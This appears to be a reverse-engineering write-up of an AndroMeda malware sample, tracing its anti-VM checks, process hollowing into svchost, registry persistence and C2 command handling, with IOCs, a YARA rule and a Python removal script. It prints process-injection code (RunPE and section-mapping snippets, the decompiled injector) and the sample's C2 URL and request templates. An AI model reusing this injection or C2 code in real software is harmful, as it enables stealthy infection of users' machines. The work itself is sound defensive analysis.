AndroMeda Malware analysis

Attack Flow Graph

../_images/Untitled-2024-02-29-0843.png ../_images/flow21.png

Deep analysis

The sample is a 32bit, opening it in ida we notice it is using api hashing and peb walking
Cleaning the sample with hashdb plugin and fixing variable types to correctly display the peb walking and renaming some functions

First it gets the kernel32 base address from the peb and then resolves LdrGetDllHandle

../_images/Screenshot_130.png

Then it resolves some additional functions from the kernel32 dll handle and storing it into v31

../_images/Screenshot_228.png ../_images/Screenshot_327.png

using hashdb we get the functions

../_images/Screenshot_426.png

then it calls some function with lol

../_images/Screenshot_524.png

turns out it was openmutex call, so the mutex name is lol

../_images/Screenshot_620.png

then checks last error from teb equals two (likely ERROR_FILE_NOT_FOUND error code), seems like if mutex opened successful

../_images/Screenshot_718.png

passing the check, then it iterates over the process searching for any vm processes

../_images/Screenshot_99.png ../_images/Screenshot_1010.png

passing the check, we arrive at another check for sandboxie dll it tries to gethandle of that dll if succeed we go to that rabbit hole function

../_images/Screenshot_1112.png ../_images/Screenshot_1210.png

Then another check for checking registry keys at system\currentcontrolset\services\disk\enum which contains the name and serial ID of disk (antiVM)

../_images/Screenshot_138.png ../_images/Screenshot_147.png ../_images/Screenshot_157.png

Then does a check to check time elapsed between instruction (antidebugging but does nothing with it nopped)

../_images/Screenshot_167.png

We arrive at last bit of code which seems like our main functions

../_images/Screenshot_177.png

it takes in a huge blob likely a packed code

../_images/Screenshot_187.png

and prepares another variable containing another encoded code

../_images/Screenshot_197.png
Inside the function, it peb walks again and prepares virtual allocate and terminateprocess
and puts the encoded data as size in the virtual allocate with base address same as v22
NTSYSAPI NTSTATUS ZwAllocateVirtualMemory(
[in]      HANDLE    ProcessHandle,
[in, out] PVOID     *BaseAddress,
[in]      ULONG_PTR ZeroBits,
[in, out] PSIZE_T   RegionSize,
[in]      ULONG     AllocationType,
[in]      ULONG     Protect
)
../_images/Screenshot_206.png ../_images/Screenshot_2112.png

Then while debugging running over this function, exits the exe and executes malicious behaviour

../_images/Screenshot_229.png

Maybe because it starts with modifying the ret address

../_images/Screenshot_236.png

Setting some breakpoints, noticed it is writing something , some decoded data

../_images/Screenshot_247.png

decoded more data, likely this is the process it will inject svchost

../_images/Screenshot_256.png

it is just writing some gibberish now so i will break on that interesting call

../_images/Screenshot_266.png ../_images/Screenshot_276.png

it hit that breakpoint, and we see new data written , libraries used for process injection (maybe it will modify some code)

../_images/Screenshot_285.png

Now we got out of the function (it was just a weird error), lets skip this processing till we get this last bit

../_images/Screenshot_296.png ../_images/Screenshot_306.png

This line sounds interesting, running till that instruction, and letting all deobfuscation write to that dynamic function that is called

../_images/Screenshot_3112.png

Then we see the decoded routine, where the process injection happens

../_images/Screenshot_328.png

Going till the virtualalloc and grabbing the allocated address in the dump, and turns out it only contained value for the process name to inject

../_images/Screenshot_337.png

basically what is happening is similar to this code

if (CreateProcessA(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
    Debug("[Debug] RunPE(): CreateProcessA(): (%lu)\n", GetLastError());
    return FALSE;
}

/* Get thread context (processor-specific register data) */
context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &context) == FALSE) {
    Debug("[Debug] RunPE(): GetThreadContext()");
}

/* Unmap memory space of program */
pZwUnmapViewOfSection = (PZUVOS)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
pZwUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);

/* Allocate virtual memory for program */
lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL) {
    Debug("[Debug] RunPE(): VirtualAllocEx(): (%lu)\n", GetLastError());
    return FALSE;
}

And this code also, notice memcpy part i will break at all memcpy to dump the packed malware memcpy in assembly is rep movsb

../_images/Screenshot_427.png
// create a memory section
    fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    // create a view of the memory section in the local process
    fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);

    // create a view of the memory section in the target process
    HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 1480);
    fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);

    // copy shellcode to the local view, which will get reflected in the target process's mapped view
    memcpy(localSectionAddress, buf, sizeof(buf));

    HANDLE targetThreadHandle = NULL;

https://cocomelonc.github.io/tutorial/2021/12/13/malware-injection-12.html And here it is deciding what to inject based on OS 32 or 64 bit ,i get svchost because iam on 64 bit OS.

../_images/Screenshot_347.png ../_images/Screenshot_357.png

Then the start of typical process injection, it creates a process with CREATE_SUSPENDED (at push 4)

../_images/Screenshot_367.png

Our first hit with memcpy, is the malware is copying svchost after mapping it

../_images/Screenshot_406.png

Our second hit, we see it is copying itself into the svchost

../_images/Screenshot_4111.png

Then it creates suspended process with the copied svchost

../_images/Screenshot_436.png

Then writes our copied malware into mapped svchost

../_images/Screenshot_446.png

I debugged the malware into ida then fixed function calls ,types and renaming to make analysis easier

void __cdecl __noreturn sub_300C0(int a1)
{
char *v1; // edx
char *v2; // edi
char *v3; // esi
void *v4; // [esp+0h] [ebp-354h] BYREF
int v5; // [esp+B0h] [ebp-2A4h]
struct _PROCESS_INFORMATION ProcessInformation; // [esp+2CCh] [ebp-88h] BYREF
struct _STARTUPINFOW StartupInfo; // [esp+2DCh] [ebp-78h] BYREF
char *svchostInMEM; // [esp+320h] [ebp-34h] BYREF
int v9; // [esp+324h] [ebp-30h] BYREF
char *v10; // [esp+328h] [ebp-2Ch] BYREF
int v11; // [esp+32Ch] [ebp-28h] BYREF
int v12; // [esp+330h] [ebp-24h]
unsigned int v13; // [esp+334h] [ebp-20h] BYREF
int v14; // [esp+338h] [ebp-1Ch]
_IMAGE_DOS_HEADER *localSelectionAddress; // [esp+33Ch] [ebp-18h] BYREF
int v16; // [esp+340h] [ebp-14h] BYREF
HANDLE v17; // [esp+344h] [ebp-10h]
LPWSTR lpFilename; // [esp+348h] [ebp-Ch]
HMODULE thisFile; // [esp+34Ch] [ebp-8h]
int v20; // [esp+350h] [ebp-4h] BYREF

thisFile = GetModuleHandleW(0);
lpFilename = VirtualAlloc(0, 0x8000u, 0x1000u, 4u);
if ( !lpFilename )
LABEL_26:
    ExitProcess(0);
GetModuleFileNameW(0, lpFilename, 0x8000u);
SetEnvironmentVariableW(&Name, lpFilename);
if ( !GetWindowsDirectoryW(lpFilename, 0x8000u)
    || ((v20 = 0, (ZwQueryInformationProcess)(-1, 26, &v20, 4, 0), v20) ? lstrcatW(lpFilename, &off_30094) : lstrcatW(lpFilename, &String2),
        v17 = CreateFileW(lpFilename, GENERIC_READ, 1u, 0, OPEN_EXISTING, 0x80u, 0),
        v17 == -1) )
{
LABEL_25:
    VirtualFree(lpFilename, 0, 0x8000u);
    goto LABEL_26;
}
if ( (ZWCreateSection)(&v16, 4, 0, 0, 2, 0x1000000, v17) < 0 )
{
LABEL_24:
    CloseHandle(v17);
    goto LABEL_25;
}
localSelectionAddress = 0;
v13 = 0;
if ( (NtMapViewOfSection)(v16, -1, &localSelectionAddress, 0, 0, 0, &v13, 1, 0, PAGE_READONLY) < 0 )// svchost
{
LABEL_23:
    (ZwClose)(v16);
    goto LABEL_24;
}
v1 = &localSelectionAddress->e_lfarlc + localSelectionAddress->e_lfanew;
v13 = *(&localSelectionAddress[1].e_sp + localSelectionAddress->e_lfanew);
v12 = *(v1 + 4);
v14 = 0;
if ( (ZWCreateSection)(&v9, &unk_F001F, 0, &v13, 64, 0x8000000, 0) < 0 )// create memory section at svchost
{
LABEL_22:
    (NtUnmapViewOfSection)(-1, localSelectionAddress);
    goto LABEL_23;
}
svchostInMEM = 0;
v13 = 0;
if ( (NtMapViewOfSection)(v9, -1, &svchostInMEM, 0, 0, 0, &v13, 1, 0, PAGE_READWRITE) < 0 )
{
LABEL_21:
    (ZwClose)(v9);
    goto LABEL_22;
}
qmemcpy(svchostInMEM, localSelectionAddress, v13);// copy svchost
v13 = *(thisFile + *(thisFile + 15) + 80);    // This file
v14 = 0;
if ( (ZWCreateSection)(&v11, &unk_F001F, 0, &v13, 64, 0x8000000, 0) >= 0 )
{
    v10 = 0;
    v13 = 0;
    if ( (NtMapViewOfSection)(v11, -1, &v10, 0, 0, 0, &v13, 1, 0, PAGE_READWRITE) >= 0 )
    {
    // copy this file (itself) into memory
    qmemcpy(v10, thisFile, v13);              // and does nothing with it
    memset(&StartupInfo, 0, sizeof(StartupInfo));
    StartupInfo.cb = 68;
    if ( CreateProcessW(0, lpFilename, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcessInformation) )
    {
        v13 = -1000000;
        v14 = -1;
        (NtDelayExecution)(0, &v13);            // sleep
        (NtUnmapViewOfSection)(-1, v10);
        v10 = 0;
        v13 = 0;                                //    Map svchost into memory
        if ( !(NtMapViewOfSection)(v11, ProcessInformation.hProcess, &v10, 0, 0, 0, &v13, 1, 0, 64) )
        {
        (ZwClose)(v11);
        v2 = &svchostInMEM[v12];
        *v2++ = 'h';
        *v2 = &v10[a1 - thisFile];
        v2[4] = -61;                          // adds `push 28213B9; ret` to svchost entry in memory
        v4 = &unk_10002;
        if ( (GetThreadContest)(ProcessInformation.hThread, &v4) )
        {
            v3 = (v5 - v12);
            (NtUnmapViewOfSection)(ProcessInformation.hProcess, v5 - v12);
            (NtUnmapViewOfSection)(-1, svchostInMEM);
            svchostInMEM = v3;
            v13 = 0;
            if ( !(NtMapViewOfSection)(v9, ProcessInformation.hProcess, &svchostInMEM, 0, 0, 0, &v13, 1, 0, 64) )
            (NtResumeThread)(ProcessInformation.hThread, 0);
            goto LABEL_21;
        }
        goto LABEL_20;
        }
    }
    else
    {
        (NtUnmapViewOfSection)(-1, v10);
    }
    }
    (ZwClose)(v11);
}
LABEL_20:
(NtUnmapViewOfSection)(-1, svchostInMEM);
goto LABEL_21;
}

Now that we got the big picture, i will set a breakpoint at this location to dump the modified svchost

../_images/Screenshot_456.png

Then follow address EDI in dissassembler, we find the modified code which is a jump to that location

../_images/Screenshot_466.png

Following into memory then dumping the file

../_images/Screenshot_486.png

The sections point to nothing, for example first section points to 400 while its null bytes as it was dumped from memory

../_images/Screenshot_496.png ../_images/Screenshot_506.png
Fixing the section alignment with put raw address on disk as virtual address on memory
And then we can view it on pstudio
../_images/Screenshot_525.png ../_images/Screenshot_5111.png

So the executable didn’t run, there was an error, i decided to break at NtResumeThread, then run to that function, in windbg attach to the created process svchost and break of entry bp $exentry and run in windbg , and then step over the NtResumeThread and we get a hit on windbg

../_images/Screenshot_533.png ../_images/Screenshot_543.png

First it get the next instruction address by call and pop , where EAX will be at the end address of the first instruction

../_images/Screenshot_552.png ../_images/Screenshot_562.png

then it calls a function with that address

../_images/Screenshot_572.png

and we get peb walking and api hashing

../_images/Screenshot_623.png

to make it easier i will use ida with windbg debugger with same steps, attach process , run over to NtResumeThread , break on entrypoint , run , then stepover NtResumeThread

../_images/Screenshot_592.png ../_images/Screenshot_603.png

we arrive at same push ret

../_images/Screenshot_6110.png

and then it is calling same decrypting function in original malware with a blob of data

../_images/Screenshot_643.png ../_images/Screenshot_652.png

We arrive at this compare where it is skipped in original malware (this code changes the dynamic function that will be called later)

../_images/Screenshot_662.png

Running over some functions, we arive at a patched instruction with int 3 (cc) where it will decode data for the dynamic routine

../_images/Screenshot_672.png

And here what the code looks like after replicating the patched instructions (notice we are still at the code that decodes the dynamic routine that was skipped in original malware)

../_images/Screenshot_682.png

The instructions was patched by the malware, to continue debugging, we will return this to normal

../_images/Screenshot_692.png

and we got a reference from a clean sample

../_images/Screenshot_702.png

fixed

../_images/Screenshot_719.png ../_images/Screenshot_722.png

we arrive at the jump address but it is also patched, so we have to fix it same way from the clean sample

../_images/Screenshot_732.png ../_images/Screenshot_742.png ../_images/Screenshot_751.png

Stage 2

And finally we arrive the main malicious code

../_images/Screenshot_761.png

First function is a kernel32dll seterror, going into the second , it is also peb walking and api hashing

../_images/Screenshot_771.png ../_images/Screenshot_781.png

It gets the volume information and OS version

../_images/Screenshot_791.png

Then checks if process is 64 or 32 bit

../_images/Screenshot_801.png

Then sleeps and allocates place in memory

../_images/Screenshot_811.png

Then it gets path of environment variable src

../_images/Screenshot_821.png ../_images/Screenshot_831.png

Then calls a routine , that checks whether iam in admin group or not using this sid S-1-5-32-544 sidInfo

../_images/Screenshot_841.png

If iam admin it will use all users and run registry , and if not it will just use current user and load registry

../_images/Screenshot_861.png

Then it used GetTickCount that Retrieves the number of milliseconds that have elapsed since the system was started and masks it to 3 bits (as a way to generate a random number and set that dword variable based on that)

../_images/Screenshot_871.png

which at the end settles on exe

../_images/Screenshot_881.png

Then it creates a mutex with My VolumeInfo as a name, Then does GetLastError() != 183 to check ERROR_ALREADY_EXISTS error if mutex already exists

../_images/Screenshot_891.png

Then it calls a function, which copies our executable into allocated memory , and prepares temp folder variable

../_images/Screenshot_90.png ../_images/Screenshot_911.png

Then it gets just the executable name

../_images/Screenshot_921.png

Then it checks if the file is in the temp folder to do the following code

../_images/Screenshot_941.png ../_images/Screenshot_931.png

Next function just allocates heap and another garbage code

../_images/Screenshot_951.png

Prepares a name of the path executable that will likely copy into it, the executable will be in temp folder with name ms(RANDOM).exe (the random is from str(heapPTR))

../_images/Screenshot_961.png

Then this blob, to copy the file into temp folder

../_images/Screenshot_981.png

Then it sets CreationTime, &LastAccessTime, &LastWriteTime of svchost same as the created file in temp

../_images/Screenshot_991.png

And copies the path of temp folder executable into registry key load

../_images/Screenshot_100.png ../_images/Screenshot_1011.png ../_images/Screenshot_1021.png

Sets security descriptor of the key to D:(A;;KRWD;;;WD)

A: This stands for "Allow." It specifies that this ACE allows access.

KRWD: These are access rights. Each letter corresponds to a specific set of rights:

K: Read Control
R: Read
W: Write
D: Delete
;;;WD: These are SID (Security Identifier) placeholders. The ;;; indicates that the ACE applies to "Everyone" (the well-known SID for the Everyone group).

The WD part specifies that this ACE applies to the "Everyone" group.

Then deletes the original file

../_images/Screenshot_1031.png

Next in the program flow, it calls 3 routines which are just noise

../_images/Screenshot_1041.png

First one, enumerates all registry values under Software\\microsoft , and search for that random number(i think) and does nothing with the return

../_images/Screenshot_1051.png ../_images/Screenshot_1061.png

Second function , enumerates all registry values under Software\\microsoft , and checks if type is reg_sz, and calls every software there

../_images/Screenshot_1091.png ../_images/Screenshot_1081.png

and sets the directory to %alluserprofile%

../_images/Screenshot_1101.png ../_images/Screenshot_1113.png

Third function calls www.update.microsoft.com

../_images/Screenshot_1121.png

Now onto the main function, it is in an infinite loop with a sleep at the end

../_images/Screenshot_1131.png

It first prepares a string with some of my info like id , admin or not (to know which machine it is running on)

../_images/Screenshot_1151.png

Then calls a loop that will break at first round (junk code)

../_images/Screenshot_1161.png

Encodes my info

../_images/Screenshot_1171.png

Then calls sub_2EC0FC1 with my data

../_images/Screenshot_1181.png

Which is a base64

../_images/Screenshot_1191.png ../_images/Screenshot_1201.png

Then enter an infinite loop (to ensure data send, will break on data sent), and calls postreq with my encoded data

../_images/Screenshot_1211.png

and this url http://filer.comeze.com/panel/image.php

../_images/Screenshot_1221.png

Into the postreq function, first it removes http:// from the url

../_images/Screenshot_1261.png

then removes what is after /

../_images/Screenshot_1271.png

Then does series of checks to try to resolve the host

../_images/Screenshot_1281.png ../_images/Screenshot_1291.png ../_images/Screenshot_1301.png

we got ip 1677745305 converting it to ip we get

../_images/Screenshot_1311.png ../_images/Screenshot_1321.png

starts the connection

../_images/Screenshot_1331.png

Then it checks if it got our info sends it as post request else just sends a get request, and gets the response in v13

../_images/Screenshot_1341.png

And returns the response

../_images/Screenshot_1351.png

Decodes the response, then calls a routine with that response

../_images/Screenshot_1371.png

In the function, it does some processing, then call another function with the processed response

../_images/Screenshot_1381.png

And based on the response it does multiple code cases

../_images/Screenshot_139.png

First case, it downloads an executable to %src% with name [Random].exe, then creates a process with that exe

../_images/Screenshot_140.png

Second case, gets response data and pass it to sub_372119 and then saves the [Random].exe into software\microsoft registry

../_images/Screenshot_1411.png ../_images/Screenshot_1421.png

If there was error (miscalc) it would send the result as post request

../_images/Screenshot_149.png

sub_372119 is same as we saw in orignial malware, it likely write a dynamic routine

../_images/Screenshot_1431.png

Third case, writes a file into temp folder with random name , and starts a process as that executable

../_images/Screenshot_1441.png

Fourth case , Writes an executable as ms[Random].dat (from The post request response)inside %alluserprofile%

../_images/Screenshot_1451.png

Fifth case is a cleanup deletes the executable and the registry created

../_images/Screenshot_1461.png

Sixth case runs what is in Load registry as a created process

../_images/Screenshot_1471.png

Seventh case it is retuning software\microsoft registry access to Everyone and does a cleanup of load registry

../_images/Screenshot_148.png

Then at the very end does a cleanup and deletes the file

../_images/Screenshot_150.png

IOCs

Hash SHA256:F3BB357944367A76A7AD5CC1791CE0ED41A24B4C8015DB97A97937EC6B56124C
IP: 153.92.0.100

id:%lu|bid:%lu|bv:%lu|sv:%lu|pa:%lu|la:%lu|ar:%lu
%allusersprofile%
S-1-5-32-544
%userprofile%
software\microsoft\windows nt\currentversion\windows
%allusersprofile%
software\microsoft\windows\currentversion\Policies\Explorer\Run
%s\ms%s.%s
D:(A;;KA;;;WD)
D:(A;;KRWD;;;WD)
D:(A;;KA;;;WD)
ms%08X.dat
%allusersprofile%\
ms%08X.dat
%tmp%\
%08x.exe
id:%lu|tid:%lu|result:%lu
d40e75961383124949436f37f45a8cb6|
http://filer.comeze.com/panel/image.php
POST /%s HTTP/1.1 Host: %s User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencoded Content-Length: %d Connection: close
GET /%s HTTP/1.0 Host: %s User-Agent: Mozilla/4.0 Connection: close
aabcdeefghiijklmnoopqrstuuvwxyzaU
software\microsoft
C:\Windows\SysWOW64\
qemut!
vboxt-
wmwat9
hsk\\ehs\\dihviceh\\serhlsethntrohntcohurrehem\\chsyst

Yara rule

rule sample2
{

    strings:
        $str = "hsk\\ehs\\dihviceh\\serhlsethntrohntcohurrehem\\chsyst"

    condition:
        uint16(0) == 0x5a4d and $str
}

Removal

regini -i hklmSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun [1 5 7 11] regini -i hcuSoftwareMicrosoftWindows NTCurrentVersionWindows [1 5 7 11]

import psutil
import re
import os
import tempfile
import winreg
import sys
import win32security
import ntsecuritycon

def remove(path):
    path = path.replace("\\", "/")
    os.remove(path)
    print("File at {} was deleted".format(path))

def deleteRegistry(regKey, regSubkey, malFile):
    try:
        hKey = winreg.OpenKey(regKey, regSubkey, 0, winreg.KEY_ALL_ACCESS)
        i = 0

        while True:
            try:
                x = winreg.EnumValue(hKey, i)
                value = str(x[0])
                data = str(x[1])

                if malFile in data:
                    print("Found Malware registry value")
                    winreg.DeleteValue(hKey, value)
                    print("Deleted Malware registry value")
                    break

                i += 1
            except Exception as e:
                break

    except Exception as e:
        print(f"Error opening registry key: {e}")
    finally:
        winreg.CloseKey(hKey)

def setRegistryPermissions(key, subkey, username, permissions):
    try:
        key_handle = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE)
        security_descriptor = win32security.GetSecurityInfo(key_handle, win32security.SE_REGISTRY_KEY, win32security.DACL_SECURITY_INFORMATION)
        dacl = security_descriptor.GetSecurityDescriptorDacl()
        everyone = win32security.LookupAccountName("", "Everyone")[0]

        ace = win32security.ACE(
            win32security.ACL_REVISION,
            permissions,
            0,
            everyone
        )
        dacl.AddAccessAllowedAce(ace)

        win32security.SetSecurityInfo(
            key_handle,
            win32security.SE_REGISTRY_KEY,
            win32security.DACL_SECURITY_INFORMATION,
            None,
            None,
            dacl,
            None
        )

        print(f"Permissions modified for {subkey} key.")

    except Exception as e:
        print(f"Error modifying permissions for {subkey} key: {e}")
    finally:
        winreg.CloseKey(key_handle)

# Your registry paths
regPath1 = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
regPath2 = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
regPath3 = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"

# Flag to indicate 32 or 64 bits.
is32bit = 1 if sys.maxsize > 2**32 else 0

malFile = ""
malProcess = ""

if is32bit:
    malProcess = "wuauclt.exe"
else:
    malProcess = "svchost.exe"

tempDir = tempfile.gettempdir()

for proc in psutil.pids():
    p = psutil.Process(proc)

    if p.name() == malProcess:
        try:
            files = p.open_files()
        except:
            continue

        for f in files:
            if tempDir in f[0]:
                x = f[0].split('\\')

                if x[-1][0:2] == "ms":
                    malFile = x[-1]
                    print("Malware random name is: {}".format(malFile))

                    try:
                        p.kill()
                        print("Malware Process with PID {} was killed".format(proc))
                    except Exception as e:
                        print("Unable to kill the process")

                    exit(1)

if not malFile:
    exit(0)

remove(os.path.join(tempDir, malFile))
key1 = winreg.HKEY_CURRENT_USER
sub1 = r"Software\Microsoft\Windows NT\CurrentVersion\Windows"

key2 = winreg.HKEY_LOCAL_MACHINE
sub2 = r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
# Set permissions for the registry keys
setRegistryPermissions(key1, sub1, "Everyone", ntsecuritycon.KEY_ALL_ACCESS)
setRegistryPermissions(key2, sub2, "Everyone", ntsecuritycon.KEY_ALL_ACCESS)
# Delete the registry values
deleteRegistry(key1, sub1, malFile)
deleteRegistry(key2, sub2, malFile)

Mitre ATT&CK

Mitre

ATT&CK Tactic

ATT&CK Technique

DEFENSE EVASION

Virtualization/Sandbox Evasion::System Checks T1497.001 Time, Delay (object) Anti-Sandbox + Anti-VM

EXECUTION

Shared Modules T1129 CreateMutexA LoadLibraryA, LdrLoadDLL, GetModuleHandleA, CreateFileMappingA CreateRemoteThread, ResumeThread, OpenThread::Process injection

Persistence

Registry Key: Run,Load File (startup)

Command and Control + Exfiltration

Internet/inet/Connect, HTTP, URL, Socket, Send DNS Query